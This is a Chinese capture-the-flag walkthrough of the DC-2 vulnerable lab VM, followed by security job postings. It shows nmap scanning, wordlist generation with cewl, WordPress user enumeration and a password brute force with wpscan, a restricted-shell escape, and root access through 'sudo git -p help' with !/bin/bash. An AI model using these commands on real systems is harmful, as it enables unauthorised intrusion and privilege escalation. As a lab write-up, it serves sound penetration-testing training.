由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
與DC-1一樣,DC-2是另一個專門構建的易受攻擊的實驗室,目的是獲得滲透測試領域的經驗。與原始DC-1一樣,它在設計時就考慮了初學者。必須具備Linux技能並熟悉Linux命令行,以及一些基本滲透測試工具的經驗。與DC-1一樣,共有五個標誌,包括最終標誌。
上篇文章有詳細搭建過程,在此就不再演示。
下載地址:https://www.five86.com/dc-2.html
則靶機DC-2 ip:192.168.188.157
攻擊機kalilinux ip:192.168.188.144
Flag:5個
在測試之前需要修改一下host文件的配置,添加滲透靶機的IP位址和域名(訪問滲透靶機時80埠時,他會自動跳轉成dc-2 不修改會無法訪問。)
host文件位置
kail環境:/etc/host.conf
windows環境:C:\Windows\System32\drivers\etc
獲取flag1
先來埠掃描
利用nmap對目標主機進行埠掃描,發現開放埠:80和7744
使用命令:nmap -sV -p- 192.168.188.157
-sV 用來掃描目標主機和埠上運行的軟體的版本
-p 80 指定80埠
-p- 掃描0-65535全部埠
root@kalilinux:~# nmap -sV -p- 192.168.188.157Starting Nmap 7.80 ( https:Nmap scan report for 192.168.188.157Host is up (0.00078s latency).Not shown: 65533 closed portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.10 ((Debian))7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)MAC Address: 00:0C:29:90:FF:30 (VMware)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https:Nmap done: 1 IP address (1 host up) scanned in 12.17 seconds發現開放80埠,則可以進行網頁訪問。
訪問網頁,是一個wordpress模板的博客網站,頁面可以直接獲得flag1
提示使用cewl密碼字典生成工具,並且在登錄後可以找到下一個flag獲取flag2
根據flag1的提示,使用cewl生成密碼保存在當前目錄的pwd.txt中:
root@kalilinux:/# cewl http://dc-2/ -w pwd.txt密碼有了,於是還得獲取用戶名。
之前已經知道伺服器上搭建的是一個wordpress網站,所以可以想到wpscan掃描來枚舉網站中的可用用戶。
獲取用戶名(wpscan)
使用wpscan枚舉該網站的可用用戶:查看一下掃描的結果,掃描後可以找到三個用戶名:admin、tom、jerry
root@kalilinux:/# wpscan --url dc-2 -e u_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team Version 3.7.5 Sponsored by Automattic - https: @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart________________________________________________________________
[+] URL: http:[+] Started: Thu Nov 12 18:16:07 2020
Interesting Finding(s):
[+] http: | Interesting Entry: Server: Apache/2.4.10 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100%
[+] http: | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http: | - https: | - https: | - https: | - https:
[+] http: | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] http: | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https: | - https:
[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03). | Found By: Rss Generator (Passive Detection) | - http: | - http:
[+] WordPress theme in use: twentyseventeen | Location: http: | Last Updated: 2020-08-11T00:00:00.000Z | Readme: http: | [!] The version is out of date, the latest version is 2.4 | Style URL: http: | Style Name: Twenty Seventeen | Style URI: https: | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https: | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http:
[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <===================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)
[+] jerry | Found By: Wp Json Api (Aggressive Detection) | - http: | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)
[+] tom | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.[!] You can get a free API token with 50 daily requests by registering at https:
[+] Finished: Thu Nov 12 18:16:10 2020[+] Requests Done: 55[+] Cached Requests: 6[+] Data Sent: 12.342 KB[+] Data Received: 514.096 KB[+] Memory used: 134.669 MB[+] Elapsed time: 00:00:03新建一個.list文件(例如:dc-2users.list)將掃描到的三個用戶名添加到該文件中。
vim dc-2users.list
admintomjerryroot@kalilinux:/# wpscan --url http://dc-2/ -U dc-2users.list -P pwd.txtroot@kalilinux:/# wpscan --url http:_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team Version 3.7.5 Sponsored by Automattic - https: @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart________________________________________________________________
[+] URL: http:[+] Started: Fri Nov 13 11:08:01 2020
Interesting Finding(s):
[+] http: | Interesting Entry: Server: Apache/2.4.10 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100%
[+] http: | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http: | - https: | - https: | - https: | - https:
[+] http: | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] http: | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https: | - https:
[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03). | Found By: Rss Generator (Passive Detection) | - http: | - http:
[+] WordPress theme in use: twentyseventeen | Location: http: | Last Updated: 2020-08-11T00:00:00.000Z | Readme: http: | [!] The version is out of date, the latest version is 2.4 | Style URL: http: | Style Name: Twenty Seventeen | Style URI: https: | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https: | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http:
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:00 <====================================================> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 3 user/s[SUCCESS] - jerry / adipiscing [SUCCESS] - tom / parturient Trying admin / the Time: 00:00:50 <==========================================================> (645 / 645) 100.00% Time: 00:00:50Trying admin / log Time: 00:00:50 <==========================================================> (645 / 645) 100.00% Time: 00:00:50
[i] Valid Combinations Found: | Username: jerry, Password: adipiscing | Username: tom, Password: parturient
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.[!] You can get a free API token with 50 daily requests by registering at https:
[+] Finished: Fri Nov 13 11:08:56 2020[+] Requests Done: 699[+] Cached Requests: 5[+] Data Sent: 318.158 KB[+] Data Received: 682.345 KB[+] Memory used: 216.595 MB[+] Elapsed time: 00:00:54root@kalilinux:/#
| Username: jerry, Password: adipiscing | Username: tom, Password: parturient嘗試為tom可以登錄
發現為受限shell(限制了可執行的命令)
繞過受限shell
BASH_CMDS[a]=/bin/sh;a
然後 /bin/bash使用並添加環境變量
export PATH=$PATH:/bin/
可以查看flag3.txt的內容:PATH就是定義/bin:/sbin:/usr/bin等這些路徑的變量,其中冒號為目錄間的分割符。
tom@DC-2:~$ export -pdeclare -x HOME="/home/tom"declare -x LANG="en_US.UTF-8"declare -x LOGNAME="tom"declare -x MAIL="/var/mail/tom"declare -x OLDPWDdeclare -x PATH="/home/tom/usr/bin:/bin/"declare -x PWD="/home/tom"declare -x SHELL="/bin/rbash"declare -x SHLVL="2"declare -x SSH_CLIENT="192.168.188.144 51118 7744"declare -x SSH_CONNECTION="192.168.188.144 51118 192.168.188.157 7744"declare -x SSH_TTY="/dev/pts/1"declare -x TERM="xterm-256color"declare -x USER="tom"tom@DC-2:~$切換到jerry,去查看Jerry目錄下的文件,發現有個flag4.txt文件,並用過cat命令查看;
獲取flag5
根據flag4提示還不是最終的flag,提示git,查看sudo配置文件,發現git是root不用密碼可以運行,搜索git提權
進行提權,提權成功;
使用 sudo git -p help 且一頁不能顯示完,
在最底下面輸入 !/bin/bash,
最後完成提權。jerry@DC-2:~$ sudo -lMatching Defaults entries for jerry on DC-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2: (root) NOPASSWD: /usr/bin/gitjerry@DC-2:~$ sudo git -p helpusage: git [ [ [-p| [ <command> [<args>]
The most commonly used git commands are: add Add file contents to the index bisect Find by binary search the change that introduced a bug branch List, create, or delete branches checkout Checkout a branch or paths to the working tree clone Clone a repository into a new directory commit Record changes to the repository diff Show changes between commits, commit and working tree, etc fetch Download objects and refs from another repository grep Print lines matching a pattern init Create an empty Git repository or reinitialize an existing one log Show commit logs merge Join two or more development histories together mv Move or rename a file, a directory, or a symlink pull Fetch from and integrate with another repository or a local branch push Update remote refs along with associated objects rebase Forward-port local commits to the updated upstream head reset Reset current HEAD to the specified state rm Remove files from the working tree and from the index show Show various types of objects status Show the working tree status tag Create, list, delete or verify a tag object signed with GPG
'git help -a' and 'git help -g' lists available subcommands and some!/bin/bashroot@DC-2:/home/jerryrootroot@DC-2:/home/jerry安恆雷神眾測SRC運營(實習生)
————————
【職責描述】
1. 負責SRC的微博、微信公眾號等線上新媒體的運營工作,保持用戶活躍度,提高站點訪問量;
2. 負責白帽子提交漏洞的漏洞審核、Rank評級、漏洞修復處理等相關溝通工作,促進審核人員與白帽子之間友好協作溝通;
3. 參與策劃、組織和落實針對白帽子的線下活動,如沙龍、發布會、技術交流論壇等;
4. 積極參與雷神眾測的品牌推廣工作,協助技術人員輸出優質的技術文章;
5. 積極參與公司媒體、行業內相關媒體及其他市場資源的工作溝通工作。
【任職要求】
1. 責任心強,性格活潑,具備良好的人際交往能力;
2. 對網絡安全感興趣,對行業有基本了解;
3. 良好的文案寫作能力和活動組織協調能力。簡歷投遞至
bountyteam@dbappsecurity.com.cn
設計師(實習生)
————————
【職位描述】
負責設計公司日常宣傳圖片、軟文等與設計相關工作,負責產品品牌設計。
【職位要求】
1、從事平面設計相關工作1年以上,熟悉印刷工藝;具有敏銳的觀察力及審美能力,及優異的創意設計能力;有 VI 設計、廣告設計、畫冊設計等專長;
2、有良好的美術功底,審美能力和創意,色彩感強;精通photoshop/illustrator/coreldrew/等設計製作軟體;
3、有品牌傳播、產品設計或新媒體視覺工作經歷;
【關於崗位的其他信息】
企業名稱:杭州安恆信息技術股份有限公司
辦公地點:杭州市濱江區安恆大廈19樓
學歷要求:本科及以上
工作年限:1年及以上,條件優秀者可放寬簡歷投遞至
bountyteam@dbappsecurity.com.cn
安全招聘
————————
公司:安恆信息
崗位:Web安全 安全研究員
部門:戰略支援部
薪資:13-30K
工作年限:1年+
工作地點:杭州(總部)、廣州、成都、上海、北京工作環境:一座大廈,健身場所,醫師,帥哥,美女,高級食堂…
【崗位職責】
1.定期面向部門、全公司技術分享;
2.前沿攻防技術研究、跟蹤國內外安全領域的安全動態、漏洞披露並落地沉澱;
3.負責完成部門滲透測試、紅藍對抗業務;
4.負責自動化平臺建設
5.負責針對常見WAF產品規則進行測試並落地bypass方案
【崗位要求】
1.至少1年安全領域工作經驗;
2.熟悉HTTP協議相關技術
3.擁有大型產品、CMS、廠商漏洞挖掘案例;
4.熟練掌握php、java、asp.net代碼審計基礎(一種或多種)
5.精通Web Fuzz模糊測試漏洞挖掘技術
6.精通OWASP TOP 10安全漏洞原理並熟悉漏洞利用方法
7.有過獨立分析漏洞的經驗,熟悉各種Web調試技巧
8.熟悉常見程式語言中的至少一種(Asp.net、Python、php、java)
【加分項】
1.具備良好的英語文檔閱讀能力;
2.曾參加過技術沙龍擔任嘉賓進行技術分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相關資質者;
4.具有大型SRC漏洞提交經驗、獲得年度表彰、大型CTF奪得名次者;
5.開發過安全相關的開源項目;
6.具備良好的人際溝通、協調能力、分析和解決問題的能力者優先;
7.個人技術博客;
8.在優質社區投稿過文章;崗位:安全紅隊武器自動化工程師
薪資:13-30K
工作年限:2年+
工作地點:杭州(總部)
【崗位職責】
1.負責紅藍對抗中的武器化落地與研究;
2.平臺化建設;
3.安全研究落地。
【崗位要求】
1.熟練使用Python、java、c/c++等至少一門語言作為主要開發語言;
2.熟練使用Django、flask 等常用web開發框架、以及熟練使用mysql、mongoDB、redis等數據存儲方案;
3:熟悉域安全以及內網橫向滲透、常見web等漏洞原理;
4.對安全技術有濃厚的興趣及熱情,有主觀研究和學習的動力;
5.具備正向價值觀、良好的團隊協作能力和較強的問題解決能力,善於溝通、樂於分享。
【加分項】
1.有高並發tcp服務、分布式等相關經驗者優先;
2.在github上有開源安全產品優先;
3:有過安全開發經驗、獨自分析過相關開源安全工具、以及參與開發過相關後滲透框架等優先;
4.在freebuf、安全客、先知等安全平臺分享過相關技術文章優先;
5.具備良好的英語文檔閱讀能力。簡歷投遞至
bountyteam@dbappsecurity.com.cn
崗位:紅隊武器化Golang開發工程師
薪資:13-30K
工作年限:2年+
工作地點:杭州(總部)
【崗位職責】
1.負責紅藍對抗中的武器化落地與研究;
2.平臺化建設;
3.安全研究落地。
【崗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一門語言作為主要開發語言;
2.熟練使用Gin、Beego、Echo等常用web開發框架、熟悉MySQL、Redis、MongoDB等主流資料庫結構的設計,有獨立部署調優經驗;
3.了解docker,能進行簡單的項目部署;
3.熟悉常見web漏洞原理,並能寫出對應的利用工具;
4.熟悉TCP/IP協議的基本運作原理;
5.對安全技術與開發技術有濃厚的興趣及熱情,有主觀研究和學習的動力,具備正向價值觀、良好的團隊協作能力和較強的問題解決能力,善於溝通、樂於分享。
【加分項】
1.有高並發tcp服務、分布式、消息隊列等相關經驗者優先;
2.在github上有開源安全產品優先;
3:有過安全開發經驗、獨自分析過相關開源安全工具、以及參與開發過相關後滲透框架等優先;
4.在freebuf、安全客、先知等安全平臺分享過相關技術文章優先;
5.具備良好的英語文檔閱讀能力。
簡歷投遞至bountyteam@dbappsecurity.com.cn